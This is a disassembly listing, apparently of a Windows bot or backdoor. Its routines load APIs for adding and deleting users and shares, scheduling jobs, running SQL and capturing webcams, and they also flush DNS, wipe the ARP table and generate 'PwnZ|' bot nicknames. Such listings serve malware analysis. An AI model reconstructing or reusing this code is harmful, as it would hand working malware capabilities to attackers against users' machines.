loc_40A70B:				; CODE XREF: sub_409E0C+8CCj
					; sub_409E0C+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A755
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4E41A8, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4E42D8, eax
		call	esi	; GetProcAddress
		cmp	dword_4E41A8, ebx
		mov	dword_4E4138, eax
		jz	short loc_40A760
		cmp	dword_4E42D8, ebx
		jz	short loc_40A760
		cmp	eax, ebx
		jnz	short loc_40A76A
		jmp	short loc_40A760
; ---------------------------------------------------------------------------

loc_40A755:				; CODE XREF: sub_409E0C+90Aj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E4314, eax

loc_40A760:				; CODE XREF: sub_409E0C+939j
					; sub_409E0C+941j ...
		mov	dword_4E4310, 1

loc_40A76A:				; CODE XREF: sub_409E0C+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A871
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4E4114, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4E40EC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4E4164, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4E4198, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4E42B0, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4E414C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4E40F8, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4E40E8, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4E4180, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4E4278, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4E4230, eax
		call	esi	; GetProcAddress
		cmp	dword_4E4114, ebx
		mov	dword_4E4154, eax
		jz	short loc_40A87C
		cmp	dword_4E40EC, ebx
		jz	short loc_40A87C
		cmp	dword_4E4164, ebx
		jz	short loc_40A87C
		cmp	dword_4E4198, ebx
		jz	short loc_40A87C
		cmp	dword_4E42B0, ebx
		jz	short loc_40A87C
		cmp	dword_4E414C, ebx
		jz	short loc_40A87C
		cmp	dword_4E40F8, ebx
		jz	short loc_40A87C
		cmp	dword_4E40E8, ebx
		jz	short loc_40A87C
		cmp	dword_4E4180, ebx
		jz	short loc_40A87C
		cmp	dword_4E4278, ebx
		jz	short loc_40A87C
		cmp	dword_4E4230, ebx
		jnz	short loc_40A886
		jmp	short loc_40A87C
; ---------------------------------------------------------------------------

loc_40A871:				; CODE XREF: sub_409E0C+969j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E431C, eax

loc_40A87C:				; CODE XREF: sub_409E0C+A11j
					; sub_409E0C+A19j ...
		mov	dword_4E4318, 1

loc_40A886:				; CODE XREF: sub_409E0C+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A8BB
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4E413C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E413C, ebx
		mov	dword_4E4218, eax
		jz	short loc_40A8C6
		cmp	eax, ebx
		jnz	short loc_40A8D0
		jmp	short loc_40A8C6
; ---------------------------------------------------------------------------

loc_40A8BB:				; CODE XREF: sub_409E0C+A85j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E4324, eax

loc_40A8C6:				; CODE XREF: sub_409E0C+AA7j
					; sub_409E0C+AADj
		mov	dword_4E4320, 1

loc_40A8D0:				; CODE XREF: sub_409E0C+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A905
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4E429C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E429C, ebx
		mov	dword_4E4298, eax
		jz	short loc_40A910
		cmp	eax, ebx
		jnz	short loc_40A91A
		jmp	short loc_40A910
; ---------------------------------------------------------------------------

loc_40A905:				; CODE XREF: sub_409E0C+ACFj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E432C, eax

loc_40A910:				; CODE XREF: sub_409E0C+AF1j
					; sub_409E0C+AF7j
		mov	dword_4E4328, 1

loc_40A91A:				; CODE XREF: sub_409E0C+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A979
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4E42C8, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4E42C0, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4E4288, eax
		call	esi	; GetProcAddress
		cmp	dword_4E42C8, ebx
		mov	dword_4E4158, eax
		jz	short loc_40A984
		cmp	dword_4E42C0, ebx
		jz	short loc_40A984
		cmp	dword_4E4288, ebx
		jz	short loc_40A984
		cmp	eax, ebx
		jnz	short loc_40A98E
		jmp	short loc_40A984
; ---------------------------------------------------------------------------

loc_40A979:				; CODE XREF: sub_409E0C+B19j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E4334, eax

loc_40A984:				; CODE XREF: sub_409E0C+B55j
					; sub_409E0C+B5Dj ...
		mov	dword_4E4330, 1

loc_40A98E:				; CODE XREF: sub_409E0C+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A9C3
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4E418C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E418C, ebx
		mov	dword_4E4294, eax
		jz	short loc_40A9CE
		cmp	eax, ebx
		jnz	short loc_40A9D8
		jmp	short loc_40A9CE
; ---------------------------------------------------------------------------

loc_40A9C3:				; CODE XREF: sub_409E0C+B8Dj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E433C, eax

loc_40A9CE:				; CODE XREF: sub_409E0C+BAFj
					; sub_409E0C+BB5j
		mov	dword_4E4338, 1

loc_40A9D8:				; CODE XREF: sub_409E0C+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40AA61
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4E425C, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4E42A8, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4E41E4, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4E419C, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4E423C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E425C, ebx
		mov	dword_4E41AC, eax
		jz	short loc_40AA6C
		cmp	dword_4E42A8, ebx
		jz	short loc_40AA6C
		cmp	dword_4E41E4, ebx
		jz	short loc_40AA6C
		cmp	dword_4E419C, ebx
		jz	short loc_40AA6C
		cmp	dword_4E423C, ebx
		jz	short loc_40AA6C
		cmp	eax, ebx
		jnz	short loc_40AA76
		jmp	short loc_40AA6C
; ---------------------------------------------------------------------------

loc_40AA61:				; CODE XREF: sub_409E0C+BD7j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E4344, eax

loc_40AA6C:				; CODE XREF: sub_409E0C+C2Dj
					; sub_409E0C+C35j ...
		mov	dword_4E4340, 1

loc_40AA76:				; CODE XREF: sub_409E0C+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40AAAB
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4E4170, eax
		call	esi	; GetProcAddress
		cmp	dword_4E4170, ebx
		mov	dword_4E4250, eax
		jz	short loc_40AAB6
		cmp	eax, ebx
		jnz	short loc_40AAC0
		jmp	short loc_40AAB6
; ---------------------------------------------------------------------------

loc_40AAAB:				; CODE XREF: sub_409E0C+C75j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		mov	dword_4E434C, eax

loc_40AAB6:				; CODE XREF: sub_409E0C+C97j
					; sub_409E0C+C9Dj
		mov	dword_4E4348, 1

loc_40AAC0:				; CODE XREF: sub_409E0C+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AAC8(int,char *Str,int,int)

sub_40AAC8	proc near		; CODE XREF: sub_401CC7+252Bp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		xor	esi, esi
		cmp	dword_4E42E0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40AB10
		push	dword_4E42E4
		lea	eax, [ebp+Dest]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AB10:				; CODE XREF: sub_40AAC8+1Aj
		cmp	dword_4E42E8, esi
		jz	short loc_40AB44
		push	dword_4E42EC
		lea	eax, [ebp+Dest]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AB44:				; CODE XREF: sub_40AAC8+4Ej
		cmp	dword_4E42F0, esi
		jz	short loc_40AB78
		push	dword_4E42F4
		lea	eax, [ebp+Dest]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AB78:				; CODE XREF: sub_40AAC8+82j
		cmp	dword_4E42F8, esi
		jz	short loc_40ABAC
		push	dword_4E42FC
		lea	eax, [ebp+Dest]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40ABAC:				; CODE XREF: sub_40AAC8+B6j
		cmp	dword_4E4300, esi
		jz	short loc_40ABE0
		push	dword_4E4304
		lea	eax, [ebp+Dest]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40ABE0:				; CODE XREF: sub_40AAC8+EAj
		cmp	dword_4E4308, esi
		jz	short loc_40AC14
		push	dword_4E430C
		lea	eax, [ebp+Dest]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AC14:				; CODE XREF: sub_40AAC8+11Ej
		cmp	dword_4E4310, esi
		jz	short loc_40AC48
		push	dword_4E4314
		lea	eax, [ebp+Dest]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AC48:				; CODE XREF: sub_40AAC8+152j
		cmp	dword_4E4318, esi
		jz	short loc_40AC7C
		push	dword_4E431C
		lea	eax, [ebp+Dest]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AC7C:				; CODE XREF: sub_40AAC8+186j
		cmp	dword_4E4320, esi
		jz	short loc_40ACB0
		push	dword_4E4324
		lea	eax, [ebp+Dest]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40ACB0:				; CODE XREF: sub_40AAC8+1BAj
		cmp	dword_4E4328, esi
		jz	short loc_40ACE4
		push	dword_4E432C
		lea	eax, [ebp+Dest]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40ACE4:				; CODE XREF: sub_40AAC8+1EEj
		cmp	dword_4E4330, esi
		jz	short loc_40AD18
		push	dword_4E4334
		lea	eax, [ebp+Dest]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AD18:				; CODE XREF: sub_40AAC8+222j
		cmp	dword_4E4338, esi
		jz	short loc_40AD4C
		push	dword_4E433C
		lea	eax, [ebp+Dest]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AD4C:				; CODE XREF: sub_40AAC8+256j
		cmp	dword_4E4340, esi
		jz	short loc_40AD80
		push	dword_4E4344
		lea	eax, [ebp+Dest]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40AD80:				; CODE XREF: sub_40AAC8+28Aj
		cmp	dword_4E4348, esi
		jz	short loc_40ADB4
		push	dword_4E434C
		lea	eax, [ebp+Dest]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 20h

loc_40ADB4:				; CODE XREF: sub_40AAC8+2BEj
		lea	eax, [ebp+Dest]
		push	offset asc_445258 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40ADE1
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40ADE1:				; CODE XREF: sub_40AAC8+302j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAC8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		jz	loc_40AE88
		push	offset dword_4E4364
		push	dword ptr [ebp+8]
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AE88
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	_strncpy
		lea	eax, [ebp-20h]
		push	offset a__9	; "."
		push	eax
		call	_strtok
		add	esp, 14h
		test	eax, eax
		jz	short loc_40AE88
		push	eax
		call	_atoi
		mov	dword ptr [esp], offset	a__10 ;	"."
		push	0
		mov	esi, eax
		call	_strtok
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AE88
		push	eax
		call	_atoi
		cmp	esi, 0Ah
		pop	ecx
		jz	short loc_40AE83
		cmp	esi, 0ACh
		jnz	short loc_40AE74
		cmp	eax, 0Fh
		jle	short loc_40AE88
		cmp	eax, 20h
		jl	short loc_40AE83

loc_40AE74:				; CODE XREF: .text:0040AE68j
		cmp	esi, 0C0h
		jnz	short loc_40AE88
		cmp	eax, 0A8h
		jnz	short loc_40AE88

loc_40AE83:				; CODE XREF: .text:0040AE60j
					; .text:0040AE72j
		push	1
		pop	eax
		jmp	short loc_40AE8A
; ---------------------------------------------------------------------------

loc_40AE88:				; CODE XREF: .text:0040ADFEj
					; .text:0040AE15j ...
		xor	eax, eax

loc_40AE8A:				; CODE XREF: .text:0040AE86j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AE8D	proc near		; CODE XREF: sub_4019E7+4Fp
					; sub_401CC7+5DF5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AEB5
		push	[esp+arg_0]
		call	dword_4E42A4	; gethostbyname
		test	eax, eax
		jnz	short loc_40AEAE
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AEAE:				; CODE XREF: sub_40AE8D+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AEB5:				; CODE XREF: sub_40AE8D+Dj
		retn
sub_40AE8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AEB6	proc near		; CODE XREF: sub_4019E7+D6p
		mov	ecx, dword_4E413C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AEC4
		call	ecx	; DnsFlushResolverCache

locret_40AEC4:				; CODE XREF: sub_40AEB6+Aj
		retn
sub_40AEB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEC5	proc near		; CODE XREF: sub_401CC7:loc_404117p

Dest		= byte ptr -88h
Size		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+Size]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+Size], edi
		mov	[ebp+var_4], ebx
		call	dword_4E429C	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AF91
		sub	ecx, 32h
		jz	loc_40AF8A
		sub	ecx, 48h
		jz	short loc_40AF25
		sub	ecx, 6Eh
		jz	short loc_40AF1E
		push	eax
		push	offset asc_445330 ; "-"

loc_40AF0D:				; CODE XREF: sub_40AEC5+91j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------

loc_40AF1E:				; CODE XREF: sub_40AEC5+40j
		push	offset unk_4452DC
		jmp	short loc_40AF5D
; ---------------------------------------------------------------------------

loc_40AF25:				; CODE XREF: sub_40AEC5+3Bj
		push	[ebp+Size]	; Size
		call	_malloc
		push	[ebp+Size]	; Size
		mov	esi, eax
		push	edi		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AF58
		lea	eax, [ebp+Size]
		push	ebx
		push	eax
		push	esi
		call	dword_4E429C	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40AF91
		push	eax
		push	offset unk_445280
		jmp	short loc_40AF0D
; ---------------------------------------------------------------------------

loc_40AF58:				; CODE XREF: sub_40AEC5+79j
		push	offset asc_4452AC ; "-"

loc_40AF5D:				; CODE XREF: sub_40AEC5+5Ej
					; sub_40AEC5+CAj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40AF6B:				; CODE XREF: sub_40AEC5+57j
		lea	eax, [ebp+Dest]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415C77
		pop	ecx

loc_40AF7B:				; CODE XREF: sub_40AEC5+CEj
					; sub_40AEC5+E2j
		push	esi		; Memory
		call	_free
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AF8A:				; CODE XREF: sub_40AEC5+32j
		push	offset unk_445300
		jmp	short loc_40AF5D
; ---------------------------------------------------------------------------

loc_40AF91:				; CODE XREF: sub_40AEC5+29j
					; sub_40AEC5+89j
		cmp	[esi], edi
		jbe	short loc_40AF7B
		lea	ebx, [esi+4]

loc_40AF98:				; CODE XREF: sub_40AEC5+E0j
		push	ebx
		call	dword_4E4298	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AF98
		jmp	short loc_40AF7B
sub_40AEC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFA9	proc near		; CODE XREF: sub_401CC7+2207p
					; sub_401CC7+2358p ...

Dst		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E41C4	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset byte_4E4350
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AFA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B002	proc near		; CODE XREF: .text:0040C869p
					; sub_4135C1+24Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40B02B
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40B01E:				; CODE XREF: sub_40B002+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40B01E
		pop	edi
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------

loc_40B02B:				; CODE XREF: sub_40B002+Aj
		mov	edx, [esp+4+arg_0]

loc_40B02F:				; CODE XREF: sub_40B002+27j
		test	esi, esi
		pop	esi
		jz	short loc_40B039
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40B039:				; CODE XREF: sub_40B002+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40B002	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp-4], esi
		jle	short loc_40B07C
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_40B06E:				; CODE XREF: .text:0040B076j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40B06E
		pop	edi
		cmp	eax, 1

loc_40B07C:				; CODE XREF: .text:0040B062j
		jnz	short loc_40B089
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax

loc_40B089:				; CODE XREF: .text:loc_40B07Cj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B0A2(char *Dest)

sub_40B0A2	proc near		; CODE XREF: sub_40B487+49p
					; DATA XREF: .data:off_445378o

Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+Dest]
		push	off_4453E0[edx*4]
		push	offset aS_38	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_440094, esi
		jle	short loc_40B10A

loc_40B0E4:				; CODE XREF: sub_40B0A2+66j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_3	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_440094
		jl	short loc_40B0E4

loc_40B10A:				; CODE XREF: sub_40B0A2+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40B0A2	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B10F(char *Dest)

sub_40B10F	proc near		; DATA XREF: .data:0044538Co

var_C		= dword	ptr -0Ch
Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		mov	edi, [esp+0Ch+Dest]
		mov	[esp+0Ch+var_C], offset	aPwnz ;	"PwnZ|"
		push	offset aS_39	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_440094, esi
		jle	short loc_40B168

loc_40B142:				; CODE XREF: sub_40B10F+57j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_4	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_440094
		jl	short loc_40B142

loc_40B168:				; CODE XREF: sub_40B10F+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40B10F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B16D	proc near		; CODE XREF: sub_401CC7+6B1Ep
